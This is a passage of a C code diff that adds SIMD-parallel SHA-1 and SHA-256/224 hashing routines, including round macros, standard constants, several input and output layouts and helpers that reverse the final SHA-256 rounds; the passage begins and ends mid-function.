+				saved_key += (VS32 << 6);
+			}
+			else if (SSEi_flags & SSEi_2BUF_INPUT)
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 5) + j];
+				saved_key += (VS32 << 5);
+			}
+			else
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 4) + j];
+				saved_key += (VS32 << 4);
+			}
+			for (i = 0; i < 14; i++) vswap32(W[i]);
+			if (((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK)
+				 == SSEi_2BUF_INPUT_FIRST_BLK)
+				|| ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK)
+					== SSEi_4BUF_INPUT_FIRST_BLK)
+				|| ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST)
+					== SSEi_FLAT_RELOAD_SWAPLAST))
+			{
+				vswap32(W[14]);
+				vswap32(W[15]);
+			}
+			W += 16;
+		}
+#endif
+
+		// now set our data pointer to point to this 'mixed' data.
+		data = w;
+	}
+	else
+		data = _data;
+
+	if ((SSEi_flags & SSEi_RELOAD) == 0)
+	{
+		SHA1_PARA_DO(i)
+		{
+			a[i] = vset1_epi32(0x67452301);
+			b[i] = vset1_epi32(0xefcdab89);
+			c[i] = vset1_epi32(0x98badcfe);
+			d[i] = vset1_epi32(0x10325476);
+			e[i] = vset1_epi32(0xC3D2E1F0);
+		}
+	}
+	else
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			SHA1_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]);
+				b[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]);
+				c[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]);
+				d[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]);
+				e[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 4 * VS32]);
+			}
+		}
+		else
+		{
+			SHA1_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 5 * VS32 + 0 * VS32]);
+				b[i] = vload((vtype *) &reload_state[i * 5 * VS32 + 1 * VS32]);
+				c[i] = vload((vtype *) &reload_state[i * 5 * VS32 + 2 * VS32]);
+				d[i] = vload((vtype *) &reload_state[i * 5 * VS32 + 3 * VS32]);
+				e[i] = vload((vtype *) &reload_state[i * 5 * VS32 + 4 * VS32]);
+			}
+		}
+	}
+
+	cst = vset1_epi32(0x5A827999);
+	SHA1_ROUND2a(a, b, c, d, e, SHA1_F, 0);
+	SHA1_ROUND2a(e, a, b, c, d, SHA1_F, 1);
+	SHA1_ROUND2a(d, e, a, b, c, SHA1_F, 2);
+	SHA1_ROUND2b(c, d, e, a, b, SHA1_F, 3);
+	SHA1_ROUND2b(b, c, d, e, a, SHA1_F, 4);
+	SHA1_ROUND2b(a, b, c, d, e, SHA1_F, 5);
+	SHA1_ROUND2b(e, a, b, c, d, SHA1_F, 6);
+	SHA1_ROUND2b(d, e, a, b, c, SHA1_F, 7);
+	SHA1_ROUND2c(c, d, e, a, b, SHA1_F, 8);
+	SHA1_ROUND2c(b, c, d, e, a, SHA1_F, 9);
+	SHA1_ROUND2c(a, b, c, d, e, SHA1_F, 10);
+	SHA1_ROUND2c(e, a, b, c, d, SHA1_F, 11);
+	SHA1_ROUND2c(d, e, a, b, c, SHA1_F, 12);
+	SHA1_ROUND2c(c, d, e, a, b, SHA1_F, 13);
+	SHA1_ROUND2d(b, c, d, e, a, SHA1_F, 14);
+	SHA1_ROUND2d(a, b, c, d, e, SHA1_F, 15);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_F, 16);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_F, 17);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_F, 18);
+	SHA1_ROUND2(b, c, d, e, a, SHA1_F, 19);
+
+	cst = vset1_epi32(0x6ED9EBA1);
+	SHA1_ROUND2(a, b, c, d, e, SHA1_G, 20);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_G, 21);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_G, 22);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_G, 23);
+	SHA1_ROUND2(b, c, d, e, a, SHA1_G, 24);
+	SHA1_ROUND2(a, b, c, d, e, SHA1_G, 25);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_G, 26);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_G, 27);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_G, 28);
+	SHA1_ROUND2(b, c, d, e, a, SHA1_G, 29);
+	SHA1_ROUND2(a, b, c, d, e, SHA1_G, 30);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_G, 31);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_G, 32);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_G, 33);
+	SHA1_ROUND2(b, c, d, e, a, SHA1_G, 34);
+	SHA1_ROUND2(a, b, c, d, e, SHA1_G, 35);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_G, 36);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_G, 37);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_G, 38);
+	SHA1_ROUND2(b, c, d, e, a, SHA1_G, 39);
+
+	cst = vset1_epi32(0x8F1BBCDC);
+	SHA1_ROUND2(a, b, c, d, e, SHA1_H, 40);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_H, 41);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_H, 42);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_H, 43);
+	SHA1_ROUND2(b, c, d, e, a, SHA1_H, 44);
+	SHA1_ROUND2(a, b, c, d, e, SHA1_H, 45);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_H, 46);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_H, 47);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_H, 48);
+	SHA1_ROUND2(b, c, d, e, a, SHA1_H, 49);
+	SHA1_ROUND2(a, b, c, d, e, SHA1_H, 50);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_H, 51);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_H, 52);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_H, 53);
+	SHA1_ROUND2(b, c, d, e, a, SHA1_H, 54);
+	SHA1_ROUND2(a, b, c, d, e, SHA1_H, 55);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_H, 56);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_H, 57);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_H, 58);
+	SHA1_ROUND2(b, c, d, e, a, SHA1_H, 59);
+
+	cst = vset1_epi32(0xCA62C1D6);
+	SHA1_ROUND2(a, b, c, d, e, SHA1_I, 60);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_I, 61);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_I, 62);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_I, 63);
+	SHA1_ROUND2x(b, c, d, e, a, SHA1_I, 64);
+	SHA1_ROUND2x(a, b, c, d, e, SHA1_I, 65);
+	SHA1_ROUND2x(e, a, b, c, d, SHA1_I, 66);
+	SHA1_ROUND2x(d, e, a, b, c, SHA1_I, 67);
+	SHA1_ROUND2x(c, d, e, a, b, SHA1_I, 68);
+	SHA1_ROUND2x(b, c, d, e, a, SHA1_I, 69);
+	SHA1_ROUND2x(a, b, c, d, e, SHA1_I, 70);
+	SHA1_ROUND2x(e, a, b, c, d, SHA1_I, 71);
+	SHA1_ROUND2x(d, e, a, b, c, SHA1_I, 72);
+	SHA1_ROUND2x(c, d, e, a, b, SHA1_I, 73);
+	SHA1_ROUND2x(b, c, d, e, a, SHA1_I, 74);
+	SHA1_ROUND2x(a, b, c, d, e, SHA1_I, 75);
+
+	if (SSEi_flags & SSEi_REVERSE_STEPS)
+	{
+		SHA1_PARA_DO(i)
+		{
+			vstore((vtype *) &out[i * 5 * VS32 + 4 * VS32], e[i]);
+		}
+		return;
+	}
+
+	SHA1_ROUND2x(e, a, b, c, d, SHA1_I, 76);
+	SHA1_ROUND2x(d, e, a, b, c, SHA1_I, 77);
+	SHA1_ROUND2x(c, d, e, a, b, SHA1_I, 78);
+	SHA1_ROUND2x(b, c, d, e, a, SHA1_I, 79);
+
+	if ((SSEi_flags & SSEi_RELOAD) == 0)
+	{
+		SHA1_PARA_DO(i)
+		{
+			a[i] = vadd_epi32(a[i], vset1_epi32(0x67452301));
+			b[i] = vadd_epi32(b[i], vset1_epi32(0xefcdab89));
+			c[i] = vadd_epi32(c[i], vset1_epi32(0x98badcfe));
+			d[i] = vadd_epi32(d[i], vset1_epi32(0x10325476));
+			e[i] = vadd_epi32(e[i], vset1_epi32(0xC3D2E1F0));
+		}
+	}
+	else
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			SHA1_PARA_DO(i)
+			{
+				a[i] = vadd_epi32(
+					a[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]));
+				b[i] = vadd_epi32(
+					b[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]));
+				c[i] = vadd_epi32(
+					c[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]));
+				d[i] = vadd_epi32(
+					d[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]));
+				e[i] = vadd_epi32(
+					e[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 4 * VS32]));
+			}
+		}
+		else
+		{
+			SHA1_PARA_DO(i)
+			{
+				a[i] = vadd_epi32(
+					a[i],
+					vload((vtype *) &reload_state[i * 5 * VS32 + 0 * VS32]));
+				b[i] = vadd_epi32(
+					b[i],
+					vload((vtype *) &reload_state[i * 5 * VS32 + 1 * VS32]));
+				c[i] = vadd_epi32(
+					c[i],
+					vload((vtype *) &reload_state[i * 5 * VS32 + 2 * VS32]));
+				d[i] = vadd_epi32(
+					d[i],
+					vload((vtype *) &reload_state[i * 5 * VS32 + 3 * VS32]));
+				e[i] = vadd_epi32(
+					e[i],
+					vload((vtype *) &reload_state[i * 5 * VS32 + 4 * VS32]));
+			}
+		}
+	}
+
+	if (SSEi_flags & SSEi_FLAT_OUT)
+	{
+		SHA1_PARA_DO(i)
+		{
+			uint32_t * o = (uint32_t *) &out[i * 5 * VS32];
+#if __AVX512F__ || __MIC__
+			vtype idxs = vset_epi32(15 * 5,
+									14 * 5,
+									13 * 5,
+									12 * 5,
+									11 * 5,
+									10 * 5,
+									9 * 5,
+									8 * 5,
+									7 * 5,
+									6 * 5,
+									5 * 5,
+									4 * 5,
+									3 * 5,
+									2 * 5,
+									1 * 5,
+									0 * 5);
+
+			vscatter_epi32(o + 0, idxs, vswap32(a[i]), 4);
+			vscatter_epi32(o + 1, idxs, vswap32(b[i]), 4);
+			vscatter_epi32(o + 2, idxs, vswap32(c[i]), 4);
+			vscatter_epi32(o + 3, idxs, vswap32(d[i]), 4);
+			vscatter_epi32(o + 4, idxs, vswap32(e[i]), 4);
+#else
+			uint32_t j, k;
+			union {
+				vtype v[5];
+				uint32_t s[5 * VS32];
+			} tmp;
+
+			tmp.v[0] = vswap32(a[i]);
+			tmp.v[1] = vswap32(b[i]);
+			tmp.v[2] = vswap32(c[i]);
+			tmp.v[3] = vswap32(d[i]);
+			tmp.v[4] = vswap32(e[i]);
+
+			for (j = 0; j < VS32; j++)
+				for (k = 0; k < 5; k++) o[j * 5 + k] = tmp.s[k * VS32 + j];
+#endif
+		}
+	}
+	else if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
+	{
+		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT)
+			== SSEi_OUTPUT_AS_2BUF_INP_FMT)
+		{
+			SHA1_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 32 * VS32 + 0 * VS32], a[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 1 * VS32], b[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 2 * VS32], c[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 3 * VS32], d[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 4 * VS32], e[i]);
+			}
+		}
+		else
+		{
+			SHA1_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 16 * VS32 + 0 * VS32], a[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 1 * VS32], b[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 2 * VS32], c[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 3 * VS32], d[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 4 * VS32], e[i]);
+			}
+		}
+	}
+	else
+	{
+		SHA1_PARA_DO(i)
+		{
+			vstore((vtype *) &out[i * 5 * VS32 + 0 * VS32], a[i]);
+			vstore((vtype *) &out[i * 5 * VS32 + 1 * VS32], b[i]);
+			vstore((vtype *) &out[i * 5 * VS32 + 2 * VS32], c[i]);
+			vstore((vtype *) &out[i * 5 * VS32 + 3 * VS32], d[i]);
+			vstore((vtype *) &out[i * 5 * VS32 + 4 * VS32], e[i]);
+		}
+	}
+}
+#endif /* SIMD_PARA_SHA1 */
+
+#if SIMD_PARA_SHA256
+
+/*
+ * These optimized Sigma alternatives are from "Fast SHA-256 Implementations
+ * on Intel Architecture Processors" whitepaper by Intel. They should result
+ * in less register copy operations but in our case they definitely cause a
+ * regression. Not sure why.
+ */
+#if 0
+#define S0(x)                                                                  \
+	vroti_epi32(vxor(vroti_epi32(vxor(vroti_epi32(x, -9), x), -11), x), -2)
+#define S1(x)                                                                  \
+	vroti_epi32(vxor(vroti_epi32(vxor(vroti_epi32(x, -14), x), -5), x), -6)
+#else
+#define S0(x)                                                                  \
+	(vxor(vroti_epi32(x, -22), vxor(vroti_epi32(x, -2), vroti_epi32(x, -13))))
+
+#define S1(x)                                                                  \
+	(vxor(vroti_epi32(x, -25), vxor(vroti_epi32(x, -6), vroti_epi32(x, -11))))
+#endif
+
+#define s0(x)                                                                  \
+	(vxor(vsrli_epi32(x, 3), vxor(vroti_epi32(x, -7), vroti_epi32(x, -18))))
+
+#define s1(x)                                                                  \
+	(vxor(vsrli_epi32(x, 10), vxor(vroti_epi32(x, -17), vroti_epi32(x, -19))))
+
+#if __AVX512F__
+#define Maj(x, y, z) vternarylogic(x, y, z, 0xE8)
+#elif !VCMOV_EMULATED
+#define Maj(x, y, z) vcmov(x, y, vxor(z, y))
+#else
+#define Maj(x, y, z) vor(vand(x, y), vand(vor(x, y), z))
+#endif
+
+#define Ch(x, y, z) vcmov(y, z, x)
+
+#undef R
+#define R(t)                                                                   \
+	{                                                                          \
+		tmp1[i] = vadd_epi32(s1(w[(t - 2) & 0xf]), w[(t - 7) & 0xf]);          \
+		tmp2[i] = vadd_epi32(s0(w[(t - 15) & 0xf]), w[(t - 16) & 0xf]);        \
+		w[(t) &0xf] = vadd_epi32(tmp1[i], tmp2[i]);                            \
+	}
+
+#define SHA256_PARA_DO(x) for (x = 0; x < SIMD_PARA_SHA256; ++x)
+
+#define SHA256_STEP(a, b, c, d, e, f, g, h, x, K)                              \
+	{                                                                          \
+		SHA256_PARA_DO(i)                                                      \
+		{                                                                      \
+			w = _w[i].w;                                                       \
+			tmp1[i] = vadd_epi32(h[i], S1(e[i]));                              \
+			tmp1[i] = vadd_epi32(tmp1[i], Ch(e[i], f[i], g[i]));               \
+			tmp1[i] = vadd_epi32(tmp1[i], vset1_epi32(K));                     \
+			tmp1[i] = vadd_epi32(tmp1[i], w[(x) &0xf]);                        \
+			tmp2[i] = vadd_epi32(S0(a[i]), Maj(a[i], b[i], c[i]));             \
+			d[i] = vadd_epi32(tmp1[i], d[i]);                                  \
+			h[i] = vadd_epi32(tmp1[i], tmp2[i]);                               \
+			if (x < 48) R(x);                                                  \
+		}                                                                      \
+	}
+
+#define INIT_A 0x6a09e667
+#define INIT_B 0xbb67ae85
+#define INIT_C 0x3c6ef372
+#define INIT_D 0xa54ff53a
+#define INIT_E 0x510e527f
+#define INIT_F 0x9b05688c
+#define INIT_G 0x1f83d9ab
+#define INIT_H 0x5be0cd19
+
+#define ror(x, n) ((x >> n) | (x << (32 - n)))
+
+void sha256_reverse(uint32_t * hash)
+{
+	uint32_t a, b, c, d, e, f, g, h, s0, maj, tmp;
+
+	a = hash[0] - INIT_A;
+	b = hash[1] - INIT_B;
+	c = hash[2] - INIT_C;
+	d = hash[3] - INIT_D;
+	e = hash[4] - INIT_E;
+	f = hash[5] - INIT_F;
+	g = hash[6] - INIT_G;
+	h = hash[7] - INIT_H;
+
+	s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22);
+	maj = (b & c) ^ (b & d) ^ (c & d);
+	tmp = d;
+	d = e - (a - (s0 + maj));
+	e = f;
+	f = g;
+	g = h;
+	a = b;
+	b = c;
+	c = tmp;
+
+	s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22);
+	maj = (b & c) ^ (b & d) ^ (c & d);
+	tmp = d;
+	d = e - (a - (s0 + maj));
+	e = f;
+	f = g;
+	a = b;
+	b = c;
+	c = tmp;
+
+	s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22);
+	maj = (b & c) ^ (b & d) ^ (c & d);
+	tmp = d;
+	d = e - (a - (s0 + maj));
+	e = f;
+	a = b;
+	b = c;
+	c = tmp;
+
+	s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22);
+	maj = (b & c) ^ (b & d) ^ (c & d);
+
+	hash[0] = e - (a - (s0 + maj));
+}
+
+void sha256_unreverse(void)
+{
+	fprintf(stderr, "sha256_unreverse() not implemented\n");
+	perror("sha256_unreverse");
+}
+
+#undef ror
+
+#undef INIT_H
+#undef INIT_G
+#undef INIT_F
+#undef INIT_E
+#undef INIT_D
+#undef INIT_C
+#undef INIT_B
+#undef INIT_A
+
+#define INIT_D 0xf70e5939
+
+void sha224_reverse(uint32_t * hash) { hash[3] -= INIT_D; }
+
+void sha224_unreverse(uint32_t * hash) { hash[3] += INIT_D; }
+
+#undef INIT_D
+
+void SIMDSHA256body(vtype * data,
+					ARCH_WORD_32 * out,
+					ARCH_WORD_32 * reload_state,
+					unsigned SSEi_flags)
+{
+	vtype a[SIMD_PARA_SHA256], b[SIMD_PARA_SHA256], c[SIMD_PARA_SHA256],
+		d[SIMD_PARA_SHA256], e[SIMD_PARA_SHA256], f[SIMD_PARA_SHA256],
+		g[SIMD_PARA_SHA256], h[SIMD_PARA_SHA256];
+	union {
+		vtype w[16];
+		ARCH_WORD_32 p[16 * sizeof(vtype) / sizeof(ARCH_WORD_32)];
+	} _w[SIMD_PARA_SHA256];
+	vtype tmp1[SIMD_PARA_SHA256], tmp2[SIMD_PARA_SHA256], *w = NULL;
+	ARCH_WORD_32 * saved_key = 0;
+
+	unsigned int i, k;
+	if (SSEi_flags & SSEi_FLAT_IN)
+	{
+
+#if __SSE4_1__ || __MIC__
+		saved_key = (ARCH_WORD_32 *) data;
+		SHA256_PARA_DO(k)
+		{
+			w = _w[k].w;
+			if (SSEi_flags & SSEi_4BUF_INPUT)
+			{
+				for (i = 0; i < 14; ++i)
+				{
+					GATHER_4x(w[i], saved_key, i);
+					vswap32(w[i]);
+				}
+				GATHER_4x(w[14], saved_key, 14);
+				GATHER_4x(w[15], saved_key, 15);
+				saved_key += (VS32 << 6);
+			}
+			else if (SSEi_flags & SSEi_2BUF_INPUT)
+			{
+				for (i = 0; i < 14; ++i)
+				{
+					GATHER_2x(w[i], saved_key, i);
+					vswap32(w[i]);
+				}
+				GATHER_2x(w[14], saved_key, 14);
+				GATHER_2x(w[15], saved_key, 15);
+				saved_key += (VS32 << 5);
+			}
+			else
+			{
+				for (i = 0; i < 14; ++i)
+				{
+					GATHER(w[i], saved_key, i);
+					vswap32(w[i]);
+				}
+				GATHER(w[14], saved_key, 14);
+				GATHER(w[15], saved_key, 15);
+				saved_key += (VS32 << 4);
+			}
+			if (((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK)
+				 == SSEi_2BUF_INPUT_FIRST_BLK)
+				|| ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK)
+					== SSEi_4BUF_INPUT_FIRST_BLK)
+				|| ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST)
+					== SSEi_FLAT_RELOAD_SWAPLAST))
+			{
+				vswap32(w[14]);
+				vswap32(w[15]);
+			}
+		}
+#else
+		unsigned int j;
+		saved_key = (ARCH_WORD_32 *) data;
+		SHA256_PARA_DO(k)
+		{
+			ARCH_WORD_32 * p = _w[k].p;
+			w = _w[k].w;
+			if (SSEi_flags & SSEi_4BUF_INPUT)
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 6) + j];
+				saved_key += (VS32 << 6);
+			}
+			else if (SSEi_flags & SSEi_2BUF_INPUT)
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 5) + j];
+				saved_key += (VS32 << 5);
+			}
+			else
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 4) + j];
+				saved_key += (VS32 << 4);
+			}
+			for (i = 0; i < 14; i++) vswap32(w[i]);
+			if (((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK)
+				 == SSEi_2BUF_INPUT_FIRST_BLK)
+				|| ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK)
+					== SSEi_4BUF_INPUT_FIRST_BLK)
+				|| ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST)
+					== SSEi_FLAT_RELOAD_SWAPLAST))
+			{
+				vswap32(w[14]);
+				vswap32(w[15]);
+			}
+		}
+#endif
+	}
+	else
+		memcpy(_w, data, 16 * sizeof(vtype) * SIMD_PARA_SHA256);
+
+	//	dump_stuff_shammx(w, 64, 0);
+
+	if (SSEi_flags & SSEi_RELOAD)
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			SHA256_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]);
+				b[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]);
+				c[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]);
+				d[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]);
+				e[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 4 * VS32]);
+				f[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 5 * VS32]);
+				g[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 6 * VS32]);
+				h[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 7 * VS32]);
+			}
+		}
+		else
+		{
+			SHA256_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 0 * VS32]);
+				b[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 1 * VS32]);
+				c[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 2 * VS32]);
+				d[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 3 * VS32]);
+				e[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 4 * VS32]);
+				f[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 5 * VS32]);
+				g[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 6 * VS32]);
+				h[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 7 * VS32]);
+			}
+		}
+	}
+	else
+	{
+		if (SSEi_flags & SSEi_CRYPT_SHA224)
+		{
+			SHA256_PARA_DO(i)
+			{
+				/* SHA-224 IV */
+				a[i] = vset1_epi32(0xc1059ed8);
+				b[i] = vset1_epi32(0x367cd507);
+				c[i] = vset1_epi32(0x3070dd17);
+				d[i] = vset1_epi32(0xf70e5939);
+				e[i] = vset1_epi32(0xffc00b31);
+				f[i] = vset1_epi32(0x68581511);
+				g[i] = vset1_epi32(0x64f98fa7);
+				h[i] = vset1_epi32(0xbefa4fa4);
+			}
+		}
+		else
+		{
+			SHA256_PARA_DO(i)
+			{
+				// SHA-256 IV */
+				a[i] = vset1_epi32(0x6a09e667);
+				b[i] = vset1_epi32(0xbb67ae85);
+				c[i] = vset1_epi32(0x3c6ef372);
+				d[i] = vset1_epi32(0xa54ff53a);
+				e[i] = vset1_epi32(0x510e527f);
+				f[i] = vset1_epi32(0x9b05688c);
+				g[i] = vset1_epi32(0x1f83d9ab);
+				h[i] = vset1_epi32(0x5be0cd19);
+			}
+		}
+	}
+
+	SHA256_STEP(a, b, c, d, e, f, g, h, 0, 0x428a2f98);
+	SHA256_STEP(h, a, b, c, d, e, f, g, 1, 0x71374491);
+	SHA256_STEP(g, h, a, b, c, d, e, f, 2, 0xb5c0fbcf);
+	SHA256_STEP(f, g, h, a, b, c, d, e, 3, 0xe9b5dba5);
+	SHA256_STEP(e, f, g, h, a, b, c, d, 4, 0x3956c25b);
+	SHA256_STEP(d, e, f, g, h, a, b, c, 5, 0x59f111f1);
+	SHA256_STEP(c, d, e, f, g, h, a, b, 6, 0x923f82a4);
+	SHA256_STEP(b, c, d, e, f, g, h, a, 7, 0xab1c5ed5);
+	SHA256_STEP(a, b, c, d, e, f, g, h, 8, 0xd807aa98);
+	SHA256_STEP(h, a, b, c, d, e, f, g, 9, 0x12835b01);
+	SHA256_STEP(g, h, a, b, c, d, e, f, 10, 0x243185be);
+	SHA256_STEP(f, g, h, a, b, c, d, e, 11, 0x550c7dc3);
+	SHA256_STEP(e, f, g, h, a, b, c, d, 12, 0x72be5d74);
+	SHA256_STEP(d, e, f, g, h, a, b, c, 13, 0x80deb1fe);
+	SHA256_STEP(c, d, e, f, g, h, a, b, 14, 0x9bdc06a7);
+	SHA256_STEP(b, c, d, e, f, g, h, a, 15, 0xc19bf174);
+
+	SHA256_STEP(a, b, c, d, e, f, g, h, 16, 0xe49b69c1);
+	SHA256_STEP(h, a, b, c, d, e, f, g, 17, 0xefbe4786);
+	SHA256_STEP(g, h, a, b, c, d, e, f, 18, 0x0fc19dc6);
+	SHA256_STEP(f, g, h, a, b, c, d, e, 19, 0x240ca1cc);
+	SHA256_STEP(e, f, g, h, a, b, c, d, 20, 0x2de92c6f);
+	SHA256_STEP(d, e, f, g, h, a, b, c, 21, 0x4a7484aa);
+	SHA256_STEP(c, d, e, f, g, h, a, b, 22, 0x5cb0a9dc);
+	SHA256_STEP(b, c, d, e, f, g, h, a, 23, 0x76f988da);
+	SHA256_STEP(a, b, c, d, e, f, g, h, 24, 0x983e5152);
+	SHA256_STEP(h, a, b, c, d, e, f, g, 25, 0xa831c66d);
+	SHA256_STEP(g, h, a, b, c, d, e, f, 26, 0xb00327c8);
+	SHA256_STEP(f, g, h, a, b, c, d, e, 27, 0xbf597fc7);
+	SHA256_STEP(e, f, g, h, a, b, c, d, 28, 0xc6e00bf3);
+	SHA256_STEP(d, e, f, g, h, a, b, c, 29, 0xd5a79147);
+	SHA256_STEP(c, d, e, f, g, h, a, b, 30, 0x06ca6351);
+	SHA256_STEP(b, c, d, e, f, g, h, a, 31, 0x14292967);
+
+	SHA256_STEP(a, b, c, d, e, f, g, h, 32, 0x27b70a85);
+	SHA256_STEP(h, a, b, c, d, e, f, g, 33, 0x2e1b2138);
+	SHA256_STEP(g, h, a, b, c, d, e, f, 34, 0x4d2c6dfc);
+	SHA256_STEP(f, g, h, a, b, c, d, e, 35, 0x53380d13);
+	SHA256_STEP(e, f, g, h, a, b, c, d, 36, 0x650a7354);
+	SHA256_STEP(d, e, f, g, h, a, b, c, 37, 0x766a0abb);
+	SHA256_STEP(c, d, e, f, g, h, a, b, 38, 0x81c2c92e);
+	SHA256_STEP(b, c, d, e, f, g, h, a, 39, 0x92722c85);
+	SHA256_STEP(a, b, c, d, e, f, g, h, 40, 0xa2bfe8a1);
+	SHA256_STEP(h, a, b, c, d, e, f, g, 41, 0xa81a664b);
+	SHA256_STEP(g, h, a, b, c, d, e, f, 42, 0xc24b8b70);
+	SHA256_STEP(f, g, h, a, b, c, d, e, 43, 0xc76c51a3);
+	SHA256_STEP(e, f, g, h, a, b, c, d, 44, 0xd192e819);
+	SHA256_STEP(d, e, f, g, h, a, b, c, 45, 0xd6990624);
+	SHA256_STEP(c, d, e, f, g, h, a, b, 46, 0xf40e3585);
+	SHA256_STEP(b, c, d, e, f, g, h, a, 47, 0x106aa070);
+
+	SHA256_STEP(a, b, c, d, e, f, g, h, 48, 0x19a4c116);
+	SHA256_STEP(h, a, b, c, d, e, f, g, 49, 0x1e376c08);
+	SHA256_STEP(g, h, a, b, c, d, e, f, 50, 0x2748774c);
+	SHA256_STEP(f, g, h, a, b, c, d, e, 51, 0x34b0bcb5);
+	SHA256_STEP(e, f, g, h, a, b, c, d, 52, 0x391c0cb3);
+	SHA256_STEP(d, e, f, g, h, a, b, c, 53, 0x4ed8aa4a);
+	SHA256_STEP(c, d, e, f, g, h, a, b, 54, 0x5b9cca4f);
+	SHA256_STEP(b, c, d, e, f, g, h, a, 55, 0x682e6ff3);
+	SHA256_STEP(a, b, c, d, e, f, g, h, 56, 0x748f82ee);
+
+	if (SSEi_flags & SSEi_REVERSE_STEPS && !(SSEi_flags & SSEi_CRYPT_SHA224))
+	{
+		SHA256_PARA_DO(i)
+		{
+			vstore((vtype *) &(out[i * 8 * VS32 + 0 * VS32]), h[i]);
+		}
+		return;
+	}
+
+	SHA256_STEP(h, a, b, c, d, e, f, g, 57, 0x78a5636f);
